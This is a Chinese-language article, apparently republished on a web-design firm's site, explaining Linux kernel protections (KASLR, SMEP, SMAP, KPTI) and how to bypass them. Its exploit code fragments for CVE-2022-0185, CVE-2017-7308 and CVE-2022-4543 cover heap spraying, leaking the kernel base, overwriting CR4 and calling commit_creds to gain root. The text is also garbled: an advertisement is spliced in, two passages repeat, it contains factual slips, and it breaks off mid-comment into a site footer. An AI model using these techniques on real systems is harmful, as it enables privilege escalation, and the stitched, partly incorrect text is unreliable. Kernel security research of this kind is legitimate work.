内核是操作系统的核心部分。内核负责管理计算机的硬件资源,并实现操作系统的基本功能。内核是操作系统中最重要的部分,它是操作系统与硬件之间的桥梁。内核可以被看作是操作系统的“心脏”,负责控制和管理计算机系统的所有硬件和软件资源。不同的操作系统有不同的内核,比如Linux操作系统有Linux内核,Linux内核是Linux操作系统的核心部分,它是由C语言编写的程序,并且是一个开源软件,它的源代码可以自由下载和修改。Linux内核提供了多种功能,包括内存管理、进程管理、文件系统支持、网络通信等,Linux内核的设计具有高度的可扩展性和灵活性,可以应对各种应用场景和硬件平台。
创新互联专业为企业提供吉利网站建设、吉利做网站、吉利网站设计、吉利网站制作等企业网站建设、网页设计与制作、吉利企业网站模板建站服务,十多年吉利做网站经验,不只是建网站,更提供有价值的思路和整体网络服务。
有代码就有漏洞,内核也不例外。内核漏洞是操作系统内核中的存在的安全漏洞,这些漏洞可能导致系统被恶意软件入侵或攻击者控制,并可能造成数据泄露、系统瘫痪等严重后果。例如:攻击者可能会利用内核漏洞来绕过系统安全保护,提升权限,从而获取用户敏感信息,或者在系统中安装恶意软件,损坏系统数据或瘫痪整个系统。著名漏洞“dirty cow”(脏牛漏洞)影响之广,从2007年到2018年之间的所有发行版都受其影响,让全世界数百万台设备暴露在威胁当中。
如图为近10年漏洞报送数量,表中可知Linux内核漏洞数量一直处于高位,基本每年在100以上,尤其2017年漏洞数量最多,达到449个之多。
因此及时发现,修复内核漏洞非常重要。通常,操作系统厂商会定期发布补丁来修复内核漏洞。同时为了减小漏洞发现造成的危害,Linux内核采用了多种技术来提高漏洞利用的难度来保护系统安全。例如:SMEP保护、SMAP保护、KASLR保护、KPTI保护。但即使是这么多保护,也无法安全保护内核,漏洞可以轻松绕过这些保护,达到提权效果。下面介绍这些年出现Linux内核保护技术以及针对这些保护技术的绕过方法。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
利用seq_operations泄露内核基地址:堆喷大量 seq_operations (open("/proc/self/stat",O_RDONLY)) ,溢出篡改msg_msg->m_ts的值,从而泄露基地址。
int call_fsopen(){
int fd = fsopen("ext4",0);
if(fd <0){
perror("fsopen");
exit(-1);
}
return fd;
}
for(int i=0;i<100;i++){
open("/proc/self/stat",O_RDONLY);
}
char tiny_evil[] = "DDDDDD\x60\x10";
fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0);
fsconfig(fd,FSCONFIG_SET_STRING,"\x00",tiny_evil,0);
get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
printf("[*] received 0x%lx\n", kbase);
泄露出基地址后,可根据偏移计算任何内核函数地址达到提权。
linux内核(2005年)开始支持KASLR。KASLR(Kernel Address Space Layout Randomization)是一种用于保护操作系统内核的安全技术。它通过在系统启动时随机化内核地址空间的布局来防止攻击者确定内核中的精确地址。即使攻击者知道了一些内核代码的位置,也无法精确定位内核中的其他代码和数据,从而绕过系统安全保护。在实现时主要通过改变原先固定的内存布局来提升内核安全性,因此在代码实现过程中,kaslr与内存功能存在比较强的耦合关系。
随机化公式: 函数基地址 +随机值=内存运行地址
比如先查看 entry_SYSCALL_64函数的基地址为 0xffffffff82000000
它运行时的内存地址为0xffffffff8fa00000
将运行地址减函数基地址得到随机值变量0xda00000(0xffffffff8fa00000-0xffffffff82000000=0xda00000) ,这0xda0000就是随机值,每次系统启动的时候都会发生变化。
在有kaslr保护的情况下,漏洞触发要跳转到指定的函数位置时,由于随机值的存在,无法确定函数在内存中的具体位置,如果要利用就需要预先知道目标函数地址以及shellcode存放在内存中的地址,这使得漏洞利用比较困难。
针对这种保护技术,目前比较常规的绕过方法是利用漏洞泄露出内核中某些结构体,通过上面计算方法算出内核基地址,有了基地址后就可以计算想要的函数地址了。
如CVE-2022-0185,是一个提权漏洞,漏洞成因是 len > PAGE-2-size 整数溢出导致判断错误,后面继续拷贝造成堆溢出。
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
- if (len > PAGE_SIZE - 2 - size) //这里存在整数溢出,后面的拷贝会造成堆溢出
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
函数调用路径:_x64_sys_fsconfig() ---> vfs_fsconfig_locked()-->vfs_parse_fs_param()-->legacy_parse_param(),vfs_parse_fs_param()中的函数指针定义在legacy_fs_context_ops函数表中,在alloc_fs_context()函数中完成filesystem context结构的分配和初始化。
在legacy_parse_param 函数:linux5.11/fs/fs_context.c: legacy_parse_param
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //--此处边界检查有问题
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,存在越界
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
(len > PAGE_SIZE - 2 - size )判断处有问题,根据符号优先级 ”-“的优先级是4,”>" 的优先级是6,所以先执行右边模块。又因为数据类型自动转换原则,"PAGE_SIZE-2-size" 转换为无符号进行运算。size变量由用户空间传入,当size的值大于“PAGE_SIZE-2”的差值时,运算产生溢出。后面拷贝时,size是大于kmalloc申请的“PAGE_SIZE - 2”大小。在memcpy(ctx->legacy_data + size, param->string, param->size); 这个位置,导致溢出。
legacy_parse_param函数是处理文件系统挂载过程中的一些功能,所以对这个漏洞的利用,不同磁盘格式利用方式也不一样,这里我们在ext4磁盘格式下,了解一下其漏洞利用过程。首先fsopen打开一个文件系统环境,用户可以用来mount新的文件系统。 fsconfig()调用能让我们往 ctx->legacy_data写入一个新的(key,valu),ctx->legacy_data指向一个4096字节的缓冲区(首次配置文件系统时就分配)。 len > PAGE_SIZE-2-size , len是将要写的长度,PAGE_SIZE == 4096, size是已写的长度,2字节表示一个逗号和一个NULL终止符。当size是unsigned int(总是被当作正值),会导致整数溢出,如果相减的结果小于0,还是被包装成正值。执行117次后添加长度为0的key和长度为33的value,最终的size则为(117*(33+2))4095,这样PAGE_SIZE-2-size-1==18446744073709551615 ,这样无论len多大都能满足条件。可以设置为"\x00",这样逗号会写入偏移4095,等号写入下给kmalloc-4096d 偏移0处,接着就能往偏移1处开始往后写value。
针对这个漏洞,我们可以利用seq_operations结构体泄露内核基地址从而绕过KASLR,seq_operations 是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
利用seq_operations泄露内核基地址:堆喷大量 seq_operations (open("/proc/self/stat",O_RDONLY)) ,溢出篡改msg_msg->m_ts的值,从而泄露基地址。
int call_fsopen(){
int fd = fsopen("ext4",0);
if(fd <0){
perror("fsopen");
exit(-1);
}
return fd;
}
for(int i=0;i<100;i++){
open("/proc/self/stat",O_RDONLY);
}
char tiny_evil[] = "DDDDDD\x60\x10";
fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0);
fsconfig(fd,FSCONFIG_SET_STRING,"\x00",tiny_evil,0);
get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
printf("[*] received 0x%lx\n", kbase);
泄露出基地址后,可根据偏移计算任何内核函数地址达到提权。
linux内核从3.0(2011年8月)开始支持SMEP,3.7(2012年12月)开始支持SMAP。SMEP(Supervisor Mode Execution Protection)是一种用于保护操作系统内核安全的技术。它通过在CPU开一个比特位,来限制内核态访问用户态的代码。当有了内核的控制权去执行用户态中的shellcode,CPU会拒绝执行该操作,并向操作系统发出一个异常中断。这样,即使攻击者成功执行了恶意代码,也无法绕过系统安全保护访问,从而大大增强了系统的安全性。根据CR4寄存器的值判断是否开启smep保护,当CR4寄存器的第20位是1时,保护开启,为0时,保护关闭。
SMAP(Supervisor Mode Access Protection)是一种用于保护操作系统内核的安全技术。它与SMEP相似,都在CPU中开启一个比特位来限制内核态访问用户态的能力。它使用户态的指针无法被内核态解引用。这样即使攻击者成功执行了恶意代码,也无法绕过系统安全保护读取内核空间中的敏感信息。判断CR4寄存器的值来确定是否开启,当CR4寄存器的值第21位是1时,SMAP开启。
针对SMEP、SMAP保护时,一般是通过漏洞修改寄存器关闭保护,达到绕过保护的目的。比如可以通过获得内核基地址后算出native_write_cr4函数在内存运行时地址,控制PC跳转到native_write_cr4函数去覆写CR4寄存器的20位和21位关闭保护,CPU只是判断CR4寄存器的20位21位的值,只要为0零就能关闭保护,同样也可以使用ROP的方式在内核镜像中寻找ROP组合出能修改cr4寄存器的链。
CVE-2017-7308漏洞,是内核套接字中的packet_set_ring()函数没有正确检测size,长度判断条件错误,导致堆溢出。
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring){
...
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size -
BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
goto out;
...
}
判断内存块头部加上每个内存块私有数据的大小不超过内存块自身的大小,保证内存中有足够的空间。当req_u->req3.tp_sizeof_priv 接近unsigned int 的最大值时,这个判断就会被绕过。随后代码执行到init_prb_bdqc函数处创建环形缓冲区。
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring){
...
order = get_order(req->tp_block_size); // 内核页的阶
pg_vec = alloc_pg_vec(req, order); // 在某个阶上取一页
if (unlikely(!pg_vec))
goto out;
// 创建一个接收数据包的TPACKET_V3环形缓冲区。
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
...
}
在init_prb_bdqc函数中,req_u->req3.tp_sizeof_priv(unsigned int)赋值给了p1->blk_sizeof_priv(unsigned short),被分割成低位字节。因为tp_sizeof_priv可控,所以blk_sizeof_priv也可控。
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
...
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd); //初始化第一个内存块
}
因为blk_sizeof_priv可控,进而可以间接控制max_frame_len的值,该值是最大帧范围,控制max_frame_len的值超过实际帧大小,当内核接收数据包即可绕大小检测。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
struct timespec ts;
struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
...
}
判断内存块头部加上每个内存块私有数据的大小不超过内存块自身的大小,保证内存中有足够的空间。当req_u->req3.tp_sizeof_priv 接近unsigned int 的最大值时,这个判断就会被绕过。随后代码执行到init_prb_bdqc函数处创建环形缓冲区。
...
order = get_order(req->tp_block_size); // 内核页的阶
pg_vec = alloc_pg_vec(req, order); // 在某个阶上取一页
if (unlikely(!pg_vec))
goto out;
// 创建一个接收数据包的TPACKET_V3环形缓冲区。
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
...
在init_prb_bdqc函数中,req_u->req3.tp_sizeof_priv(unsigned int)赋值给了p1->blk_sizeof_priv(unsigned short),被分割成低位字节。因为tp_sizeof_priv可控,所以blk_sizeof_priv也可控。
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
...
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd); //初始化第一个内存块
}
因为blk_sizeof_priv可控,进而可以间接控制max_frame_len的值,该值是最大帧范围,控制max_frame_len的值超过实际帧大小,当内核接收数据包即可绕大小检测。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
struct timespec ts;
struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
...
}
nxt_offset是写入内存块的偏移量。通过pkc1->blk_sizeof_priv间接控nxt_offset。从packet_set_ring函数绕过检测开始,后面的最大值以及写入偏移都可控,所以可以利用溢出修改SMEP和SMAP保护。
利用思路首先创建一个环形缓冲区,再在某个环形缓冲区内存后面分配一个packet_sock对象,将接收环形缓冲区附加到packet_sock对象,溢出它,覆盖prb_bdqc->retire_blk_timer字段,使得retire_blk_timer->func指向native_write_cr4函数,retire_blk_timer->data 设置覆盖值,等待计时器执行func后关闭SMEP和SMAP。native_write_cr4函数是内核4.x版本的内置inline汇编函数,主要用来修改CR4寄存器的。
堆分配512个 socket对象
void kmalloc_pad(int count) {
for(int i=0;i<512;i++){
if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP))==-1)
printf("[-] socket err\n");
exit(-1);
}
}
页分配1024个页
void pagealloc_pad(int count){
packet_socket(0x8000,2048,count,0,100);
}
int packet_socket(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
printf("[-] socket err\n");
exit(-1);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo"); //网络接口
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
printf("[-] bind err\n");
exit(-1);
}
return s;
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
printf("[-] setsockopt err\n");
exit(-1);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
// 创建PACKET_RX_RING 的环形缓冲区
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
printf("[-] setsockopt err\n");
exit(-1);
}
}
执行关闭SMEP和SMAP保护
void oob_timer_execute(void *func, unsigned long arg) {
// 构造溢出堆
oob_setup(2048 + TIMER_OFFSET - 8);
int i;
for (i = 0; i < 32; i++) {
// 环形缓冲区后面创建 packet_sockt 对象
int timer = packet_sock_kmalloc();
// 附加到packet_sockt对象后面,设置计时器时间
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func; // 为 native_write_cr4 函数地址
timer->data = arg;
timer->flags = 1;
// 发送数据包到接收环形缓冲区上,溢出环形缓冲区的retire_blk_timer->func,并等待计时器执行
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
// 为了构造堆溢出,计算到 retire_blk_timer 的偏移值
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
溢出xmit字段,指向用户空间的申请的commit_creds(prepare_kernel_cred(0)) 函数获得root。
int ps[32];
int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc(); //创建 packet_sockt 对象
char buffer[2048];
memset(&buffer[0], 0, 2048);
void **xmit = (void **)&buffer[64];
*xmit = func; // 用户空间的commit_creds(prepare_kernel_cred(0))函数
// 溢出写入packet_sock->xmit处
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]); // 发送数据包到 packet_sockt对象上,执行xmit
linux内核从4.15(2018年-2月)开始支持KPTI。KPTI(kernel page-table isolation, 内核页表隔离,也称PTI)是Linux内核中的一种强化技术,旨在更好地隔离用户空间与内核空间的内存来提高安全性,缓解现代x86 CPU中的“熔毁”硬件安全缺陷。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了 KPTI,由于内核态和用户态的页表不同,所以如果使用 ret2user或内核执行 ROP返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。
针对这种保护方式,主流是通过signal函数和KPTI trampoline方法,近段时间一个新的思路,通过侧信道泄露内存地址,从而绕过KPTI保护,执行指定代码。
CVE-2022-4543 漏洞绕过带有KPTI的保护,通过预取侧信道找到entry_SYSCALL_64的地址,并且它与__entry_text_start和其他部分一起随机化。思路是重复多次执行系统调用以确保页上有缓存指令在TLB中,然后预取侧信道处理程序的可能选定范围(如0xffffffff80000000-0xffffffffc0000000)。TLB( 虚拟到物理地址转换的缓存机制)。x86_64有一组预取指令RDTSC,这些指令将地址“预取”到 CPU 缓存中。如果正在加载的地址已存在于 TLB 中,则预取将快速完成,但当地址不存在时,预取将完成得较慢(并且需要完成页表遍历)。
for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
{
uint64_t test = SCAN_START + idx * STEP;
syscall(104); // 多次调用,确保缓存指令在TLB中
uint64_t time = sidechannel(test); // 预取
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}
uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile (".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r" (a), "=r" (b), "=r" (c), "=r" (d)
: "r" (addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}
普通用户权限侧信道绕过带有给KPTI保护。
由于内核保护的手段日益增多,传统的漏洞利用方法也越来越困难,所以安全研究者在研究一些新的漏洞利用方法。新的利用方法可以不关注上面的保护,如果漏洞品相好可以直接绕过保护达到内核任意地址读写。如:CVE-2022-0847 它因splice函数映射文件时没有重置pipe中的flag标志,导致缓存页越权写入内容,利用该漏洞可在root权限文件中写入提权脚本。
前置知识:pipe管道Linux内核中,管道本质是创建一个虚拟的inode(即创建一个虚拟文件节点)来表示,其中在节点上描述管道信息的结构体为 pipe_inode_info(inode->i_pipe). 其中包含一个管道的所有信息。当创建一个管道时,内核会创建 VFS inode,pipe_inode_info结构体、两个文件描述符(代表着管道的两端)、pipe_buffer结构体数组。管道原理的示意图列。
用来表示管道中数据的是一个 pipe_buffer结构数组,单个 pipe_buffer结构体用来表示管道中单张内存页的数据:
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: 管道缓冲区存放了数据的页
* @offset: 在@page中数据的偏移
* @len: 在@page中数本文标题:Linux内核常用保护和绕过技术
URL标题:http://www.shufengxianlan.com/qtweb/news41/89191.html网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联